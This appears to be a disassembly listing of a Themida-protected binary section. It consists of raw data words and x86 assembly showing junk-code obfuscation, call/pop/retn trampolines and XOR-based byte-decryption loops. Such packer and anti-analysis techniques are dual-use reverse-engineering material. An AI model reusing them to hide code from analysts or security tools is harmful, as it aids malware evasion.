dd 6A908Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 0FADEE6C3h, 319D8B30h, 64061214h, 35FFh
dd 1600000h, 12110D8Dh, 13E906h, 0FF740000h, 0A314A014h
dd 1FF6EC19h, 0A60A48CCh, 0F0B2C51Ch, 89646143h, 25h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 7C6D101Bh, 128AFD1h, 120159B5h, 7985FF06h, 0E8061206h
dd 5, 0D9F3C37Ah, 0F88B66A7h, 6AFF6A5Bh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 7EFCC351h
dd 0D7ABEDAEh, 116DBD33h, 85890612h, 6122EF5h, 2BF1B5FFh
dd 0E5B30612h, 2CB595FFh, 26E90612h, 0F9000001h, 953100B0h
dd 61218D5h, 71E470E6h, 18998529h, 613C0612h, 10B830Fh
dd 0D88A0000h, 60C8B60Fh, 585F5256h, 61FFBF0Fh, 6BAh, 0DABF0F00h
dd 0B509C18Bh, 6121A11h, 8104E8C1h, 0BB3C91C3h, 0E2F76606h
dd 2BFABF0Fh, 208C0FC8h, 0E8000000h, 14h, 0B1C06BCFh, 8F8D6116h
dd 0A00D3B00h, 29C4F1D7h, 0D0F47D6h, 1E519D8Bh, 8B5B0612h
dd 0F8BF0FD1h, 4E95B57h, 66000000h, 8B759BBBh, 121FAD85h
dd 835B5006h, 0C08307C0h, 5E800h, 5D360000h, 8B539F8Ch
dd 120E199Dh, 8B605B06h, 6148B2F1h, 830FD03Bh, 19h, 2CA1BD8Bh
dd 6EE90612h, 53000000h, 30CD9589h, 815F0612h, 0DF307ACBh
dd 498D8B46h, 8A061220h, 1E183DCh, 4F840Fh, 800F0000h
dd 5, 1EA197BFh, 49A58364h, 0FE061220h, 75953360h, 61061230h
dd 1FAD9589h, 890F0612h, 5, 0DBBF0F53h, 13E85Bh, 3800000h
dd 56E5F46Bh, 3F6118E4h, 5F101DB5h, 0DAA4B1DEh, 0C185898Ah
dd 5F061222h, 0E9h, 83B58D00h, 0E90615DEh, 0Ah, 6FAA2E12h
dd 14C158D3h, 6A0F52h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 96C35040h, 11EAEB13h, 0CD95FF5Ah, 0B9061219h
dd 749h, 6820Fh, 0BD890000h, 6120725h, 6AFCE183h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 6F30C353h, 896052FCh, 1201499Dh, 6160B406h, 0B85Fh
dd 60F80000h, 5D958960h, 8B061209h, 1211D195h, 958B6106h
dd 6121311h, 6AD22B61h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 9D89C353h, 89D8276Dh
dd 120199BDh, 0ADFEB706h, 0E8D1C233h, 0E983D003h, 56F47504h
dd 93A1BF51h, 5F5B7AB6h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 0DC35242h, 0A048B20Dh, 19159D89h, 880D0612h
dd 0F000000h, 85h, 0A1958B00h, 6A061209h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 15BCC355h
dd 8BFBBF0Fh, 1205058Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0C28B50DCh, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 0BF58188Bh, 49340BEh, 68E0Fh
dd 8D890000h, 612129Dh, 2121BD83h, 0F000612h, 8484h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0CF818D87h, 620833FAh, 0B8h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 5D1E76BBh
dd 898406A4h, 120255B5h, 0B58D8D06h, 6A06124Dh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 3DEC352h, 9A33AB29h, 47EB8166h, 1E1FF2Ch, 121D29B5h
dd 0D9BD8306h, 6121Bh, 42B840Fh, 820F0000h, 8, 2830Fh
dd 0DE8B0000h, 1BD9BD83h, 0F010612h, 42B84h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 39E2EEF4h, 66970992h, 839705BBh, 121BD9BDh, 860F0306h
dd 3C2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 6DC35242h, 6A98D89h, 6A600612h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7A7DC353h
dd 5ABF666Eh, 0D98C669Ch, 0F129BB66h, 0F04E180h, 684h
dd 0FD852900h, 0A06121Eh, 4B840FC9h, 6A000001h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 1B1DC351h, 8B69247Fh, 12308D85h, 3BEF8006h, 31658533h
dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 0E50E98C3h, 0C459F0A8h, 8B07F551h, 0DF8166DEh
dd 0E9501EE8h, 10h, 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh
dd 8B240489h, 121F719Dh, 6A006A06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6665C353h
dd 37C6439Eh, 4E8h, 1F03FF00h, 0A8BF5100h, 5B386E50h, 24448B50h
dd 0D98B6604h, 0D5BF008Bh, 89052EBDh, 58042444h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1C35141h, 0B063842Ch
dd 0FAB72723h, 218D9D03h, 95FF0612h, 6122379h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 1C35545h, 8589DF8Bh
dd 615C812h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 6EC35747h, 5B9030BCh, 0B0E9D889h, 0F000001h, 989h
dd 3860F00h, 0F000000h, 858BD9B7h, 615C80Ah, 75BD8960h
dd 51061219h, 615E53B1h, 1800C7h, 0FB8B0000h, 0C80EB58Bh
dd 0D98B0615h, 2AB9858Bh, 6A0612h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 1AD84DC3h, 6898590h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 7EC35343h
dd 5D6F5473h, 28EF800Bh, 308D858Bh, 6A0612h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 8C7DA2C3h
dd 0E99A04BFh, 0Eh, 3B8FCE5Ch, 5234BC52h, 515BF8EFh, 4689B042h
dd 96FE8B04h, 0E4F8BF66h, 48C0F50h, 50000000h, 965B5F53h
dd 21259D8Bh, 0B5FF0612h, 615C80Ah, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0D7C35040h, 44E66D82h, 0FF2256Ah
dd 681h, 89BD0300h, 0E8061213h, 4, 1F03FFh, 0F525060h
dd 60585A31h, 6E8h, 388FB500h, 5FE1502Eh, 50506161h, 0D98B6652h
dd 8F0F310Fh, 18h, 13E9h, 2EDC8700h, 0E8BC068Ch, 0EB093ED9h
dd 75EAA7F8h, 79DCA871h, 448B585Ah, 9E90424h, 2F000000h
dd 75BBC9F4h, 3BCDF2D8h, 0D88B008Bh, 4244489h, 4080BF66h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 12858DEBh, 8B0615C8h, 1209399Dh, 0BF665006h
dd 4891C78h, 59BD8B24h, 0FF061203h, 12237995h, 0DD952906h
dd 61061211h, 1561BD8Bh, 85C70612h, 6121BD9h, 3, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1C35747h, 9992A929h
dd 7DBF538Fh, 5F601A85h, 0C812BD83h, 0F000615h, 2D84h
dd 6E900h, 876E0000h, 0FC3C1BBCh, 38E9h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 30508A55h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 9448E619h, 0E6EF8166h, 4D9D8BCBh
dd 6A06122Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0E0A9C351h, 2781B57Bh, 0BD83BBBCh
dd 6121BD9h, 8F850F03h, 6A000004h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0AD29C356h
dd 95896894h, 61211D5h, 0C812BD83h, 0F000615h, 45D84h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0F8B9A9AEh, 249F0775h, 8D8B6089h, 6122625h
dd 8E9h, 11CAD700h, 119BE1BAh, 0BF0F61F9h, 12B5FFD9h, 6A0615C8h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 328DC355h, 69D7809Ah, 0A995FFFCh, 6A06121Ah
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 6D5AC352h, 8BF4B3EEh, 15C806B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0A5ACD2Bh, 66570D50h, 9509CF38h, 6121309h, 193DBD89h
dd 6C70612h, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0B8C35747h, 0A54313CEh, 962391E3h, 0A8A0Fh
dd 60600000h, 8E0F61h, 61000000h, 969EB750h, 1761B529h
dd 0B5FF0612h, 615C812h, 18718589h, 8D0F0612h, 11h, 0CE9h
dd 15567400h, 0BCE37A70h, 99D02DD7h, 595FFFDh, 6A06121Ch
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 93B8C352h, 9DDE13DBh, 80EDDCDCh, 9D8B0EE3h
dd 61218CDh, 6810Fh, 9D8B0000h, 61223B1h, 0C806B58Bh, 6A0615h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0FF5C78C3h, 1A5858Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 1C96D4C3h, 0E3A968D5h
dd 89AAF380h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 9EF59E80h, 0A1EFF150h
dd 68A0Fh, 8D010000h, 6122DD1h, 9A1958Bh, 6A0612h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0F9747FC3h, 0BF04C283h, 658CB872h, 6A205089h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 8E37C351h, 0A4DF258h, 2FA99D89h, 0F88B0612h, 0DC6F858Dh
dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0A43C23C3h, 89FA8A87h, 1204C59Dh, 0B8868906h
dd 0FC000000h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 12E8F5C3h, 1B000000h, 8D3F294Fh
dd 821A320Dh, 0DDB05D52h, 3E37F9A7h, 0CB8166DFh, 0FF5B338Ch
dd 15C812B5h, 0E59D8B06h, 0FF061204h, 1206A595h, 49BD8906h
dd 96061226h, 0FE8h, 8A9D1400h, 35C57108h, 0C85101D9h
dd 1BEF4B28h, 14E9h, 0D3B0000h, 0C4F1D7A0h, 0F47D629h
dd 0FF502C0Dh, 0D1D69BD0h, 50505B61h, 2860F52h, 53000000h
dd 0BF310F5Fh, 2EB738E6h, 396585Ah, 121FF19Dh, 0EE806h
dd 2FD40000h, 0EFB0DFC4h, 3FFC7236h, 2FF19066h, 159BD2Bh
dd 0FF5F0612h, 15C812B5h, 6BF78106h, 0FF056EBDh, 12028195h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 0A464B4F5h, 11E92Fh, 6BDD0000h, 560EAB3Eh
dd 5A68503Fh, 0D25DD467h, 83018A8Ch, 122A09BDh, 840F0006h
dd 10h, 6EDF8166h, 0BF5096A9h, 1B3858FEh, 0DA8B6696h, 0C812B5FFh
dd 0B70F0615h, 0D18D01F8h, 0FF061207h, 1218C195h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 4B88BB06h, 0C812B5FFh, 11E80615h, 0CF000000h, 0FEBAACAEh
dd 0CD804892h, 0C065C51h, 49C127CCh, 5E8h, 56BDED00h, 9D8942ACh
dd 6121971h, 95FF5F5Bh, 6121BA1h, 9E8h, 0B6D77F00h, 0E7B40E39h
dd 835FF3CFh, 121EB1BDh, 840F0206h, 31h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 18h, 28C35040h, 820C3CCBh
dd 3A5858Bh, 0DCB30612h, 8B0000C6h, 1216099Dh, 5985C706h
dd 6121Bh, 89000000h, 121DB985h, 0D3816606h, 36E9E5CEh
dd 6AFFFFF3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0E950C352h, 6, 6503D21h, 0BD3321B8h
dd 612107Dh, 16DBD89h, 0C18B0612h, 22AD9D33h, 858D0612h
dd 6122E01h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C7C35141h
dd 4DEBDC32h, 0A93F2569h, 18CF80D8h, 24048950h, 179AE0BBh
dd 6AE7B362h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 750089B3h, 6A006A1Fh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0EF62C355h
dd 3BC4F88h, 7EB79247h, 1FDD9D8Bh, 858D0612h, 6165C65h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 60C35141h
dd 0B70F3933h, 5C083FBh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0E1C35646h, 97B143BFh, 0B296F2A3h, 5319D8Bh
dd 9D890612h, 6121DB9h, 0FE950h, 7E580000h, 74322FD2h
dd 0FA768FD3h, 140ED998h, 240489E1h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0B3C35242h, 0D1EA2B20h, 33A44CADh
dd 1212859Dh, 8B006A06h, 122C39BDh, 0E8006A06h, 9, 67125478h
dd 0DB67E79Ch, 9456BF77h, 0FF5F2D38h, 120DB595h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 2101497Dh, 0BD09359Dh, 61205A5h, 0AF028D8Dh, 880F0615h
dd 6, 0A5EFF381h, 0D1FF7EACh, 10E960h, 0B09A0000h, 5F867350h
dd 93F87734h, 5655451Bh, 0BF66F2D4h, 8361422Ah, 1207ADBDh
dd 850F0106h, 33h, 1DE5BD33h, 26A0612h, 0AE990F9h, 0E0000000h
dd 0E7971527h, 0E3315638h, 8B6050BDh, 0A186BEF8h, 906119F5h
dd 0FFDFBF0Fh, 1206A595h, 4DBD8B06h, 0E906120Eh, 0CB5h
dd 0E8h, 0ED815D00h, 6165C6Fh, 2DC1BD8Bh, 6A0612h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 2AC205C3h, 0F88B315Ch, 9437858Dh, 66570615h, 905BF98Bh
dd 14E8h, 50544600h, 64032B17h, 14408AC5h, 0B2B5F03h, 0ED1F5D1Bh
dd 5B5F5092h, 830F6050h, 2, 90616160h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 0EAC35141h, 0B6B3799Ah, 0A55DF92Dh
dd 3759589h, 0FF640612h, 35h, 0DEB70F00h, 258964h, 51000000h
dd 0CE8h, 8BD7BA00h, 5A04FFE4h, 0DA047F3Bh, 0A59D8B6Ah
dd 5F06120Eh, 7985FF5Bh, 6A061206h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B997C356h
dd 0BC5C72Eh, 0CACB6EADh, 0EF81FF6Ah, 251C298Dh, 1D2DB5FFh
dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 4F0E42C3h, 2FD68162h, 0E9B068F6h, 6, 0E18CDF30h
dd 0FE8B17F5h, 2CB595FFh, 6E90612h, 60000001h, 8758D8Bh
dd 0BD8B0612h, 6122D59h, 8000B061h, 70E6D5F3h, 69B58951h
dd 5F061228h, 0FE971E4h, 68000000h, 0D49063A4h, 0C5AB4B84h
dd 96799797h, 613CE7AFh, 0CB830Fh, 8B660000h, 0C8B60FF9h
dd 6BAh, 7820F00h, 60000000h, 0BF0F4EB5h, 0C18B61CAh, 0C1FA8B66h
dd 8D8904E8h, 6122925h, 0F766D88Bh, 6BB66E2h, 0D1858952h
dd 2B06122Dh, 8E8C8h, 0FBA60000h, 0AF920F1h, 870FCB3Dh
dd 0
; ---------------------------------------------------------------------------
pop edi
mov edx, ecx
mov [ebp+6121A4Dh], ebx
jmp loc_58C84B
; ---------------------------------------------------------------------------
mov edi, 6299B7AFh
loc_58C84B: ; CODE XREF: Themida_:0058C841j
mov eax, [ebp+61200F9h]
sub [ebp+612112Dh], eax
add eax, 7
add eax, 0
xor bx, 85A7h
cmp edx, eax
jnb loc_58C878
xor [ebp+6123075h], edi
jmp loc_58C8B9
; ---------------------------------------------------------------------------
mov bx, si
loc_58C878: ; CODE XREF: Themida_:0058C864j
mov ecx, [ebp+61222B1h]
mov ebx, [ebp+61200F5h]
mov di, cx
and ecx, 1
jz loc_58C8B9
jp loc_58C89C
sub [ebp+6122079h], edx
loc_58C89C: ; CODE XREF: Themida_:0058C890j
and dword ptr [ebp+61222B1h], 0FFFFFFFEh
sub edi, [ebp+61212DDh]
mov [ebp+61200F9h], edx
sbb di, 0F1D3h
jmp $+5
loc_58C8B9: ; CODE XREF: Themida_:0058C870j
; Themida_:0058C88Aj
lea esi, [ebp+615E7C7h]
jno loc_58C8CA
or bx, 9A9Dh
loc_58C8CA: ; CODE XREF: Themida_:0058C8BFj
push 0
push 0
push edi
call sub_58C8D7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C8D7 proc near ; CODE XREF: Themida_:0058C8CFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_58C8D7 endp
; ---------------------------------------------------------------------------
db 0ACh
dd 8B4E7A5Dh, 120E759Dh, 0CD95FF06h, 6A061219h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 548DC353h, 296ACE91h, 123505B5h, 0EF0B906h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0DC12D3C3h, 12E9CBh, 48A80000h, 0E22E1A16h, 0B38B64F9h
dd 93BABB48h, 0DE9B58DDh, 0E9FCE183h, 0Fh, 6BAA491h, 0B4899F42h
dd 0E15118h, 0FC06665Dh, 0B8h, 88B0F00h, 51000000h, 1A918509h
dd 2B5B0612h, 0E9BD89D2h, 0AD06122Dh, 0E8D1C233h, 0E983D003h
dd 2BF47504h, 121C0D9Dh, 6E806h, 24760000h, 0F66F47F6h
dd 5BDE8B66h, 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 10E85113h, 0C1000000h
dd 0DF687BD5h, 155A86B4h, 99CCFECCh, 5BE40471h, 0A1958B5Fh
dd 8B061209h, 1205058Dh, 50D98A06h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 81D78058h, 1105B589h, 6A0612h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 5F0314C3h, 5D1B0B2Bh, 6B64A4BFh, 0DEB6BB31h, 0BD833A5Bh
dd 6122121h, 68840F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 932FC353h
dd 27D585E0h, 19259589h, 0B80612h, 29000000h, 1210CDB5h
dd 0F98B6606h, 4DB58D8Dh, 6A0612h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 76A2AAC3h, 35551A77h
dd 0FF93FD69h, 21BD23E1h, 83061213h, 121BD9BDh, 840F0006h
dd 3C7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 6DC35545h, 566077A0h, 8B5FC28Bh, 122D2D95h, 0BD836106h
dd 6121BD9h, 0AB840F01h, 8B000003h, 122FF9BDh, 0D9BD8306h
dd 306121Bh, 362860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0BB6DA9C3h, 0DEA6ECA9h
dd 880F6A3Ah, 0Dh, 8E9h, 0D40C8E00h, 0DE54D4A0h, 6A6098h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 0C29041C3h, 66081207h, 8C66FB8Bh, 57006AD9h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 46E4A40Bh
dd 80147A63h, 0B58904E1h, 612091Dh, 840FC90Ah, 0F3h, 308D858Bh
dd 0DE8A0612h, 31658533h, 0C3800612h, 0FA8B906Eh, 52506050h
dd 4BB2310Fh, 8B66585Ah, 6A9061FAh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0C178C357h
dd 800F50B4h, 0Eh, 85958960h, 1061202h, 120D39B5h, 6A6106h
dd 176D9D8Bh, 0AD680612h, 0E8DFEBCAh, 10h, 8AF75F3Fh, 400AEA1Ah
dd 9B63DD94h, 238AE67Bh, 6870Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
pop ebx
add dword ptr [esp], 20333952h
mov edi, [ebp+6120961h]
call dword ptr [ebp+6122379h]
add ebx, [ebp+6122659h]
sub edi, 77EC0F08h
mov [ebp+615C812h], eax
push 0
push esi
call sub_58CC4D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CC4D proc near ; CODE XREF: Themida_:0058CC45p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_58CC4D endp
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
xor [ecx+5Bh], edx
jmp loc_58CE25
; ---------------------------------------------------------------------------
push 0
push eax
call sub_58CC71
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CC71 proc near ; CODE XREF: Themida_:0058CC69p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
loc_58CC7F: ; CODE XREF: Themida_:0058CC82j
push eax
retn
sub_58CC71 endp
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
jge short loc_58CC7F
mov edi, es:[ebp+612096Dh]
mov eax, [ebp+615C80Ah]
cld
mov dword ptr [eax], 18h
push 0
push eax
call sub_58CCA3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CCA3 proc near ; CODE XREF: Themida_:0058CC9Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_58CCA3 endp
; ---------------------------------------------------------------------------
db 0DBh
; ---------------------------------------------------------------------------
sahf
mov ebx, ds:[ebp+6121D9Dh]
mov esi, [ebp+615C80Eh]
push 0
push eax
call sub_58CCCD
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CCCD proc near ; CODE XREF: Themida_:0058CCC5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_58CCCD endp
; ---------------------------------------------------------------------------
mov ds:0E6EF8166h, eax
fisttp dword ptr [ebx+122AB985h]
push es
mov di, 5876h
mov [esi], eax
push 0
push esi
call sub_58CCFA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CCFA proc near ; CODE XREF: Themida_:0058CCF2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_58CCFA endp
; ---------------------------------------------------------------------------
sbb eax, 21E3F515h
das
dec ebx
xor [ebp+6122FB5h], ebx
jb loc_58CD21
mov di, 3E26h
loc_58CD21: ; CODE XREF: Themida_:0058CD17j
pusha
or eax, 68129126h
mov eax, 2401CE7Fh
popa
mov eax, [ebp+612308Dh]
push 0
push edx
call sub_58CD3F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CD3F proc near ; CODE XREF: Themida_:0058CD37p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_58CD3F endp
; ---------------------------------------------------------------------------
cmp [eax+1BC29CD4h], ebp
retf 4689h
; ---------------------------------------------------------------------------
dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 0BC4C05B8h, 0F9B2446Eh, 0BD9D0314h, 60061212h
dd 5061DA8Bh, 3489F88Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 217213Bh, 0BD3BD05Fh
dd 9D8D2984h, 0FF061215h, 15C80AB5h, 0B70F6006h, 0AB6861D8h
dd 0FE2F084h, 86h, 24048100h, 1D2E7F54h, 0D5EDEF81h, 858D75F6h
dd 615C812h, 11E9h, 9D9D7900h, 161FC099h, 2BC48BF7h, 0C1B091FEh
dd 8950423Ch, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 6B3C38C3h, 0FF9E51DFh, 12237995h
dd 87BB6606h
db 63h
; ---------------------------------------------------------------------------
loc_58CE25: ; CODE XREF: Themida_:0058CC61j
popa
mov bx, 737Fh
sub ebx, [ebp+612010Dh]
mov dword ptr [ebp+6121BD9h], 3
jmp loc_58CE4F
; ---------------------------------------------------------------------------
db 4Bh
dd 51A2A700h, 763AD26Bh, 0E606E6FFh
db 0EFh, 8Ch, 11h
; ---------------------------------------------------------------------------
loc_58CE4F: ; CODE XREF: Themida_:0058CE3Aj
cmp dword ptr [ebp+615C812h], 0
jz loc_58CE68
mov [ebp+6122191h], ecx
jmp loc_58CE83
; ---------------------------------------------------------------------------
cmc
loc_58CE68: ; CODE XREF: Themida_:0058CE56j
; Themida_:0058CE7Fj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_58CE68
jmp short loc_58CEB9
; ---------------------------------------------------------------------------
loc_58CE83: ; CODE XREF: Themida_:0058CE62j
; Themida_:0058CE9Aj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_58CE83
jmp short loc_58CEB9
; ---------------------------------------------------------------------------
loc_58CE9E: ; CODE XREF: Themida_:loc_58CEB5j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
loc_58CEB5: ; CODE XREF: Themida_:0058CF1Ej
jnz short loc_58CE9E
jmp short $+2
loc_58CEB9: ; CODE XREF: Themida_:0058CE81j
; Themida_:0058CE9Cj
mov eax, eax
push 0
push edx
call sub_58CEC6
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CEC6 proc near ; CODE XREF: Themida_:0058CEBEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_58CEC6 endp
; ---------------------------------------------------------------------------
retn 4659h
; ---------------------------------------------------------------------------
mov [ebp+6122BF9h], eax
cmp dword ptr [ebp+6121BD9h], 3
jnz loc_58D303
push 0
push edi
call sub_58CEF7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CEF7 proc near ; CODE XREF: Themida_:0058CEEFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_58CEF7 endp
; ---------------------------------------------------------------------------
db 32h
; ---------------------------------------------------------------------------
adc eax, edi
sal byte ptr [ebx+0FE9h], 1
add [ecx-16B1D002h], al
mov dl, 0ACh
pop esi
push edx
add [edx+edx], edx
daa
ja short loc_58CEB5
cmp dword ptr [ebp+615C812h], 0
jz loc_58D303
push 0
push ecx
call sub_58CF38
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CF38 proc near ; CODE XREF: Themida_:0058CF30p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_58CF38 endp
; ---------------------------------------------------------------------------
or dword ptr [ecx+1209BD95h], 12B5FF06h
